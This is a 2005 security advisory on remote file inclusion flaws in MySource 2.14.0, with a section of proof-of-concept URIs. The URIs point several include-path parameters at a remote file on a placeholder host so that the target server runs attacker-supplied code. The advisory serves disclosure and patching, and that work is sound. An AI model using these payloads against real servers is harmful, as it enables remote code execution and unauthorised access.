MySource Multiple Remote File Include Vulnerabilities

Bugtraq ID:	15133
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	Yes
Published:	Oct 18 2005 12:00AM
Updated:	Oct 18 2005 12:00AM
Credit:	Secunia Research is credited with the discovery of these vulnerabilities.
Vulnerable:	MySource MySource 2.14 .0RC2 MySource MySource 2.14 .0
Not Vulnerable:	MySource MySource 2.14 .2

MySource Multiple Remote File Include Vulnerabilities

MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

MySource Multiple Remote File Include Vulnerabilities

No exploit is required.

The following proof of concept URI is available:

http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://www.example.com/[file]?
http://www.example.com/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://www.example.com/[file]?
http://www.example.com/web/init_mysource.php?INCLUDE_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Net_Socket/Socket.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/HTTP_Request/Request.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Mail/Mail.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Date/Date.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Date/Date/Span.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://www.example.com/[file]?
http://www.example.com/pear/Mail_Mime/mime.php?PEAR_PATH=http://www.example.com/[file]?

MySource Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released version 2.14.2 to address this issue.


MySource MySource 2.14 .0

• MySource mysource-2.14.2.tar.gz
  http://mysource.squiz.net/__data/page/1015/mysource-2.14.2.tar.gz

MySource Multiple Remote File Include Vulnerabilities

References:

• MySource 2.14.2 Download Page (MySource)
  
• MySource Web Page (MySource)
  
• Secunia Advisory for MySource 2.14.0 (Secunia)